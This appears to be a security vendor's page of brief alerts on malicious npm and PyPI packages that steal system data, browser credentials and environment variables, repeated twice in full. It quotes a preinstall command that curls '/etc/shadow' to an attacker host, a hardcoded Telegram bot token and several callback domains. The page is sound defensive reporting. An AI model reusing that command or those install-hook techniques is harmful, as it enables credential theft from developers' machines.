Secure your dependencies. Ship with confidence.

The code poses a significant security risk and should not be used. If you have already used this package, take steps to secure your system and change your API key.

Live on npm for 171 days, 8 hours and 18 minutes before removal. Socket users were protected even while the package was live.

The code has significant security risks due to the dynamic execution of user-defined code and the potential for command injection through subprocess calls. Proper validation and sanitization of user inputs are essential to mitigate these risks.

The code collects and sends sensitive system information to potentially suspicious external domains without user consent, which is a significant security risk. The use of 'rejectUnauthorized: false' further exacerbates the risk by disabling SSL/TLS certificate validation.

The source code is malicious and poses a serious security risk. It stealthily collects and exfiltrates sensitive system and user information to a suspicious external server without user consent. This is a clear supply chain security incident involving data theft. The code is not obfuscated but is clearly designed for malicious data exfiltration.

Live on npm for 12 days, 6 hours and 18 minutes before removal. Socket users were protected even while the package was live.

The code is designed to check the availability of TikTok usernames and send the results to a Telegram bot. It sends sensitive information, including user session IDs and usernames, to the Telegram API at 'api[.]telegram[.]org' using hardcoded credentials, such as a Telegram bot token ('1316607340:AAEVQUBpR0OnPRs6THQFYrCoQBlBfvNsuxU') and chat ID. This behavior poses significant security risks, potentially allowing unauthorized access to user accounts. Additionally, the code reads usernames from 'user.txt' and writes found accounts to 'accountfound.txt', which may lead to unauthorized data exfiltration. The code makes unauthorized network requests to TikTok's API (e.g., 'www[.]tiktok[.]com/@{username}') and sends data to the Telegram bot without explicit user consent, indicating malicious intent.

This script is highly suspicious and malicious as it collects sensitive system information and sends it to an external server, posing a significant security risk.

Live on npm for 2 hours and 17 minutes before removal. Socket users were protected even while the package was live.

This file collects system information (hostname via platform.node(), username via getpass.getuser(), current working directory via os.getcwd()) and transmits it to external URLs, including dnipqouebm-psl[.]cn[.]oast-cn[.]byted-dast[.]com001, oqvignkp58-psl[.]i18n[.]oast-row[.]byted-dast[.]com/realtime_p/pypi/001, and sbfwstspuutiarcjzptf0rueg2x53eh2c[.]oast[.]fun. These domains appear suspicious and serve no legitimate functionality, strongly suggesting malicious intent. The internet requests include sensitive data, posing a high risk of unauthorized data exfiltration.

Live on PyPI for 54 minutes before removal. Socket users were protected even while the package was live.

The code is designed to exfiltrate environment variables to a remote server if certain conditions are met, indicative of malicious behavior. The obfuscation of the destination server and the base64 encoding of the data are techniques to obscure the data being exfiltrated.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

The code exhibits behavior consistent with data exfiltration by sending system information to suspicious external URLs. This poses a significant security risk.

The code is purposefully designed to collect sensitive user data from web browsers and send it to a backend server. It exhibits several suspicious and potentially malicious behaviors, including the reading and manipulation of browser data files, the extraction of sensitive information such as passwords and session tokens, and the sending of data to external servers. These actions are consistent with malware or unauthorized data collection. The code poses a significant security risk and should be treated with extreme caution.

Live on npm for 31 days, 15 hours and 17 minutes before removal. Socket users were protected even while the package was live.

The source code is malicious and poses a high security risk due to unauthorized exfiltration of sensitive system and environment data to an external endpoint. The code is not obfuscated but clearly designed to steal private information without user consent. The malformed HTTPS request options indicate poor coding but do not mitigate the malicious intent. This package should be considered dangerous and avoided.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

This code sends potentially sensitive environment data and file system information to a remote server without user consent, indicating malicious or at least unethical behavior. The hardcoded destination and lack of user control over the data sent highlight a significant security risk.

Live on npm for 1 hour and 10 minutes before removal. Socket users were protected even while the package was live.

The script collects information from the user's system such as package data, directory paths, hostname, username, and DNS servers, and sends it to a remote server.

Live on npm for 14 minutes before removal. Socket users were protected even while the package was live.

Possible typosquat of azure - Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles legitimate Azure package naming conventions, which could confuse users. The maintainers list includes 'npm', which is not a specific known maintainer. Therefore, it is likely a typosquat.

Live on npm for 14 hours and 25 minutes before removal. Socket users were protected even while the package was live.

The code contains multiple dynamic execution patterns and base64 encoded data that could potentially hide malicious behaviors or payloads. It lacks clear hardcoded credentials or known malicious domain connections, but the overall design leads to potential risks due to the execution of arbitrary data. It should be used with caution and further review is needed to ensure security.

Live on npm for 52 minutes before removal. Socket users were protected even while the package was live.

This code contains heavily obfuscated validation logic that uses unsafe dynamic code execution techniques. The obfuscation appears deliberate to hide functionality, and the use of new Function() creates a significant security risk. Without being able to fully deobfuscate the code, it's impossible to determine exactly what the dynamically generated code does, but the techniques used match those commonly found in malicious code.

This code contains malicious functionality that executes automatically upon module import. It performs two suspicious activities: (1) prints a base64-encoded string 'Y2RoQHdlYXJlaGFja2Vyb25lLmNvbQ==' which decodes to the email address cdh@wearehackerone[.]com, and (2) attempts DNS resolution of the suspicious domain package_resources[.]pyvac[.]diar[.]ai. The use of obfuscated email addresses, automatic execution via underscore-prefixed functions, and network reconnaissance to suspicious domains are consistent with supply chain attack methodology. The domain name appears crafted to mimic legitimate package management infrastructure while potentially serving as a beacon or command-and-control endpoint. This has been removed from PyPI.

Live on PyPI for 6 hours and 53 minutes before removal. Socket users were protected even while the package was live.

This file collects and transmits sensitive system information (including hostname, user ID, and current directory) to a suspicious remote domain (example[.]com). Such unauthorized data exfiltration without user consent is indicative of malware.

The script collects information like hostname, platform, user info, and current path, then sends it to a remote server. Additionally, it writes a local file.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

This package contains heavily obfuscated code that prevents security analysis. The extreme obfuscation level is highly suspicious and commonly associated with malicious packages attempting to hide their true functionality. Cannot determine specific malicious behaviors without deobfuscation, but the obfuscation itself represents a significant security risk.

This script is attempting to exfiltrate system information by sending it to a remote server. This behavior is highly suspicious and potentially malicious.

Live on npm for 6 hours and 45 minutes before removal. Socket users were protected even while the package was live.

This postinstall script automatically and silently launches a detached background Node.js process (daemon.js) during package installation, creating a persistent execution capability on users' machines. The script itself is small and non-obfuscated, but it enables a high-risk supply-chain behavior because the actual daemon (daemon.js) will run with user privileges, hidden stdio, and without lifecycle control from the installer. Treat the package as suspicious until daemon.js is reviewed and the package documents and obtains explicit user consent for installing a background agent. If daemon.js is unnecessary, remove or disable this postinstall behavior.

Live on npm for 11 hours and 50 minutes before removal. Socket users were protected even while the package was live.

The 'preinstall' script in 'package.json' attempts to exfiltrate the contents of the '/etc/shadow' file, which contains hashed user passwords, to a remote server at '<hostname>9w60yxv7jwwi1lbc6iqc5exrlir8fx.oastify[.]com'. This is executed during installation using the command '/usr/bin/curl --data '@/etc/shadow' <hostname>9w60yxv7jwwi1lbc6iqc5exrlir8fx.oastify[.]com'. This behavior poses a significant security risk as it attempts to steal sensitive system credentials.

Live on npm for 12 days and 55 minutes before removal. Socket users were protected even while the package was live.

The code is highly obfuscated and uses eval to execute a decoded string, which is a significant security risk. The obfuscation and use of eval suggest potential malicious behavior, but the exact nature of the code cannot be determined without decoding the obfuscated string.

Live on npm for 149 days, 10 hours and 50 minutes before removal. Socket users were protected even while the package was live.

Possible typosquat of [azure](https://socket.dev/npm/package/azure) Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles 'azure' and could be misleading. The maintainers list includes 'npm', which is not a specific known maintainer. The description does not provide enough information to determine a distinct purpose, and the similarity in naming suggests it could be a typosquat. azure-graphrbac is a security-holding package

Live on npm for 4 hours and 5 minutes before removal. Socket users were protected even while the package was live.

The code poses a significant security risk and should not be used. If you have already used this package, take steps to secure your system and change your API key.

Live on npm for 171 days, 8 hours and 18 minutes before removal. Socket users were protected even while the package was live.

The code has significant security risks due to the dynamic execution of user-defined code and the potential for command injection through subprocess calls. Proper validation and sanitization of user inputs are essential to mitigate these risks.

The code collects and sends sensitive system information to potentially suspicious external domains without user consent, which is a significant security risk. The use of 'rejectUnauthorized: false' further exacerbates the risk by disabling SSL/TLS certificate validation.

The source code is malicious and poses a serious security risk. It stealthily collects and exfiltrates sensitive system and user information to a suspicious external server without user consent. This is a clear supply chain security incident involving data theft. The code is not obfuscated but is clearly designed for malicious data exfiltration.

Live on npm for 12 days, 6 hours and 18 minutes before removal. Socket users were protected even while the package was live.

The code is designed to check the availability of TikTok usernames and send the results to a Telegram bot. It sends sensitive information, including user session IDs and usernames, to the Telegram API at 'api[.]telegram[.]org' using hardcoded credentials, such as a Telegram bot token ('1316607340:AAEVQUBpR0OnPRs6THQFYrCoQBlBfvNsuxU') and chat ID. This behavior poses significant security risks, potentially allowing unauthorized access to user accounts. Additionally, the code reads usernames from 'user.txt' and writes found accounts to 'accountfound.txt', which may lead to unauthorized data exfiltration. The code makes unauthorized network requests to TikTok's API (e.g., 'www[.]tiktok[.]com/@{username}') and sends data to the Telegram bot without explicit user consent, indicating malicious intent.

This script is highly suspicious and malicious as it collects sensitive system information and sends it to an external server, posing a significant security risk.

Live on npm for 2 hours and 17 minutes before removal. Socket users were protected even while the package was live.

This file collects system information (hostname via platform.node(), username via getpass.getuser(), current working directory via os.getcwd()) and transmits it to external URLs, including dnipqouebm-psl[.]cn[.]oast-cn[.]byted-dast[.]com001, oqvignkp58-psl[.]i18n[.]oast-row[.]byted-dast[.]com/realtime_p/pypi/001, and sbfwstspuutiarcjzptf0rueg2x53eh2c[.]oast[.]fun. These domains appear suspicious and serve no legitimate functionality, strongly suggesting malicious intent. The internet requests include sensitive data, posing a high risk of unauthorized data exfiltration.

Live on PyPI for 54 minutes before removal. Socket users were protected even while the package was live.

The code is designed to exfiltrate environment variables to a remote server if certain conditions are met, indicative of malicious behavior. The obfuscation of the destination server and the base64 encoding of the data are techniques to obscure the data being exfiltrated.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

The code exhibits behavior consistent with data exfiltration by sending system information to suspicious external URLs. This poses a significant security risk.

The code is purposefully designed to collect sensitive user data from web browsers and send it to a backend server. It exhibits several suspicious and potentially malicious behaviors, including the reading and manipulation of browser data files, the extraction of sensitive information such as passwords and session tokens, and the sending of data to external servers. These actions are consistent with malware or unauthorized data collection. The code poses a significant security risk and should be treated with extreme caution.

Live on npm for 31 days, 15 hours and 17 minutes before removal. Socket users were protected even while the package was live.

The source code is malicious and poses a high security risk due to unauthorized exfiltration of sensitive system and environment data to an external endpoint. The code is not obfuscated but clearly designed to steal private information without user consent. The malformed HTTPS request options indicate poor coding but do not mitigate the malicious intent. This package should be considered dangerous and avoided.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

This code sends potentially sensitive environment data and file system information to a remote server without user consent, indicating malicious or at least unethical behavior. The hardcoded destination and lack of user control over the data sent highlight a significant security risk.

Live on npm for 1 hour and 10 minutes before removal. Socket users were protected even while the package was live.

The script collects information from the user's system such as package data, directory paths, hostname, username, and DNS servers, and sends it to a remote server.

Live on npm for 14 minutes before removal. Socket users were protected even while the package was live.

Possible typosquat of azure - Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles legitimate Azure package naming conventions, which could confuse users. The maintainers list includes 'npm', which is not a specific known maintainer. Therefore, it is likely a typosquat.

Live on npm for 14 hours and 25 minutes before removal. Socket users were protected even while the package was live.

The code contains multiple dynamic execution patterns and base64 encoded data that could potentially hide malicious behaviors or payloads. It lacks clear hardcoded credentials or known malicious domain connections, but the overall design leads to potential risks due to the execution of arbitrary data. It should be used with caution and further review is needed to ensure security.

Live on npm for 52 minutes before removal. Socket users were protected even while the package was live.

This code contains heavily obfuscated validation logic that uses unsafe dynamic code execution techniques. The obfuscation appears deliberate to hide functionality, and the use of new Function() creates a significant security risk. Without being able to fully deobfuscate the code, it's impossible to determine exactly what the dynamically generated code does, but the techniques used match those commonly found in malicious code.

This code contains malicious functionality that executes automatically upon module import. It performs two suspicious activities: (1) prints a base64-encoded string 'Y2RoQHdlYXJlaGFja2Vyb25lLmNvbQ==' which decodes to the email address cdh@wearehackerone[.]com, and (2) attempts DNS resolution of the suspicious domain package_resources[.]pyvac[.]diar[.]ai. The use of obfuscated email addresses, automatic execution via underscore-prefixed functions, and network reconnaissance to suspicious domains are consistent with supply chain attack methodology. The domain name appears crafted to mimic legitimate package management infrastructure while potentially serving as a beacon or command-and-control endpoint. This has been removed from PyPI.

Live on PyPI for 6 hours and 53 minutes before removal. Socket users were protected even while the package was live.

This file collects and transmits sensitive system information (including hostname, user ID, and current directory) to a suspicious remote domain (example[.]com). Such unauthorized data exfiltration without user consent is indicative of malware.

The script collects information like hostname, platform, user info, and current path, then sends it to a remote server. Additionally, it writes a local file.

Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.

This package contains heavily obfuscated code that prevents security analysis. The extreme obfuscation level is highly suspicious and commonly associated with malicious packages attempting to hide their true functionality. Cannot determine specific malicious behaviors without deobfuscation, but the obfuscation itself represents a significant security risk.

This script is attempting to exfiltrate system information by sending it to a remote server. This behavior is highly suspicious and potentially malicious.

Live on npm for 6 hours and 45 minutes before removal. Socket users were protected even while the package was live.

This postinstall script automatically and silently launches a detached background Node.js process (daemon.js) during package installation, creating a persistent execution capability on users' machines. The script itself is small and non-obfuscated, but it enables a high-risk supply-chain behavior because the actual daemon (daemon.js) will run with user privileges, hidden stdio, and without lifecycle control from the installer. Treat the package as suspicious until daemon.js is reviewed and the package documents and obtains explicit user consent for installing a background agent. If daemon.js is unnecessary, remove or disable this postinstall behavior.

Live on npm for 11 hours and 50 minutes before removal. Socket users were protected even while the package was live.

The 'preinstall' script in 'package.json' attempts to exfiltrate the contents of the '/etc/shadow' file, which contains hashed user passwords, to a remote server at '<hostname>9w60yxv7jwwi1lbc6iqc5exrlir8fx.oastify[.]com'. This is executed during installation using the command '/usr/bin/curl --data '@/etc/shadow' <hostname>9w60yxv7jwwi1lbc6iqc5exrlir8fx.oastify[.]com'. This behavior poses a significant security risk as it attempts to steal sensitive system credentials.

Live on npm for 12 days and 55 minutes before removal. Socket users were protected even while the package was live.

The code is highly obfuscated and uses eval to execute a decoded string, which is a significant security risk. The obfuscation and use of eval suggest potential malicious behavior, but the exact nature of the code cannot be determined without decoding the obfuscated string.

Live on npm for 149 days, 10 hours and 50 minutes before removal. Socket users were protected even while the package was live.

Possible typosquat of [azure](https://socket.dev/npm/package/azure) Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles 'azure' and could be misleading. The maintainers list includes 'npm', which is not a specific known maintainer. The description does not provide enough information to determine a distinct purpose, and the similarity in naming suggests it could be a typosquat. azure-graphrbac is a security-holding package

Live on npm for 4 hours and 5 minutes before removal. Socket users were protected even while the package was live.